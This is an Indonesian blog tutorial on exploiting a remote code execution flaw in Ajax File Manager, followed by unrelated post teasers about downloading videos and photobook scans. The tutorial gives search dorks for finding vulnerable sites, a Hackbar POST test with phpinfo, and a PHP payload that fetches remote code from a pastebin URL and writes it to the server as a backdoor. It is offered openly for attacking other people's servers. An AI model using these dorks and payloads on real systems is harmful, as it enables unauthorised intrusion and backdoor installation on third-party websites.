Ajax File Manager Remote Code Execution

Oleh ADMIN -

Ajax Filemanager memiliki bug yang sangat fatal yaitu Remote Code Execution atau bisa di sebut juga RCE , yah kalian pasti tau sendiri kalo RCE itu sangat fatal


ok langsung saja kita coba

pertama siapin plugins adds on Firefox Hackbar
jika sudah langsung nyalain hackbar nya (di bagian atas firefox klik kanan centang hackbar )
setelah hackbar muncul, ada tulisan Enable postdata di centang

 
dork :
Index Of Ajaxfilemanager
Index Of /inc/data.php
inurl:/Ajaxfilemanager

Jika sudah dapat,  cek dulu bugnya di file Ajax_create_folder.php dan data.php



Jika di Execute tidak ada apapun , atau error 403 Forbiden dll , maka hasilnya kita bisa lihat di direktori /ajaxfilemanager/inc/data.php



Jika hasil test bug kita bisa di eksekusi,  sekarang kita coba dengan script kecil/ringan

test=<?php phpinfo(); ?>

 
lalu tekan execute di menu Hackbar. dan hasilnya seperti gambar dibawah ini.

jika muncul seperti gambar ini berarti kita bisa di eksekusi seperti upload file ke server atau upload backdoor , bisa menggunakan wget , file get contents , ataupun file put contents ,

contoh payload nya seperti ini:

<?phpfile_put_contents('aaa.php',file_get_contents('http://pastebin.com/raw/xxxxx'));?>


sekian semoga bermanfaat

Komentar

Posting Komentar

Postingan populer dari blog ini

Cara Menyimpan Vidio Youtube Ke Galeri

Oleh -
Gambar
Cara Menyimpan Vidio dari Youtube kr Galeri OKEZONE.ASIA ,Tips dan Trik.Tentu Kalian ingin mengetahui cara Menyimpan Vidio ke Galeri. Yang biasanya Hanya Bisa kalian Bisa Simpan di Folder Youtube dan Hanya bisa di Putar Ulang di Youtube saja. Terus bagaimana Cara Menyimpan Vidio Youtube ke Galeri? Ikutilah langkah-langkah Berikut Ini : 1.Buka Aplikasi Youtube 2.Pilih Vidio Youtube yang ingin di Simpan 3.Klik Bagikan 4.Salin Kode Link Vidio 5.Buka Situs  Id.savefrom.net 6.Tempelkan Kode Yang Telah di salin 7.Lalu klik tanda panah di samping 8.Kemudian Vidio yang anda inginkan akan Muncul lalu Klik UNDUH. 9.Selesai Jika Gagal Mendownlod Biasanya Karena Terlalu banyak,Vidio Yang Kita Ambil,website Id.savefrom.net juga membatasi Vidio Yang kita ambil dengan alasan sebagai Berikut : 1.Vidio Terlalu banyak yang di Download 2.Server Eror Cara Atau Opsi lain Jika Ingin banyak Mendownload Vidio dari Savefrom Kalian Bisa
Baca selengkapnya

Tutorial Cara Download Video Yang Hanya Bisa Streaming

Oleh ADMIN -
Gambar
Tutorial Cara Download Video Yang Tidak Bisa Di Download   - Mendownload film, video, atau clip pendek biasanya sering Kita temu bahwa semua video itu tidak dapat didownload kadang hanya bisa streaming atau nonton saja. Kebanyakan video/film tidak bisa didownload karena beberapa alasan seperti video lawas, video yang dikenakan copyright, dan video yang memang hanya dikhususkan untuk streaming saja. Namun siapa sangka terkadang film/video tersebut membawa kesan atau sangat ingin untuk ditonton kembali dan di simpan pada perangkat. Apa bisa download video/film yang hanya bisa streaming ? Untuk download video yang tidak bisa di download atau dalam kurung (hanya streaming) dapat Kita lakukan dengan beberapa cara seperti yang akan Admin jelaskan pada tutorial kali ini.  Karena masih banyak yang cari bagaimana cara download video/film yang tidak ada tombol downloadnya akhirnya Admin menemukan solusi yang akan dibagikan kali ini. Baca juga Tutorial Trik Internetan Gratis All Operator 2020
Baca selengkapnya

Kojima Natsuki 1st Photobook SOCO SOCO Full Scans PB

Oleh -
Gambar
Full Scan Akb48 1st Kojima Natsuki Photobook SOCO SOCO HQ Quality Picts. Member Akb Natsuki Kojina Soco Soco 1st PB Scanned PB. The cover and title "soco soco" of akb48 kojima natsuki first photobook was revealed. The photobook was produced in mid-October in Paris, shortly after Cover photobook Kojima Natsuki "Soco Soco" Reguler edition 7net limited edition Rakuten limited edition HMV limited edition. Download rar file zip scanned full magazine gravure free pics.
Baca selengkapnya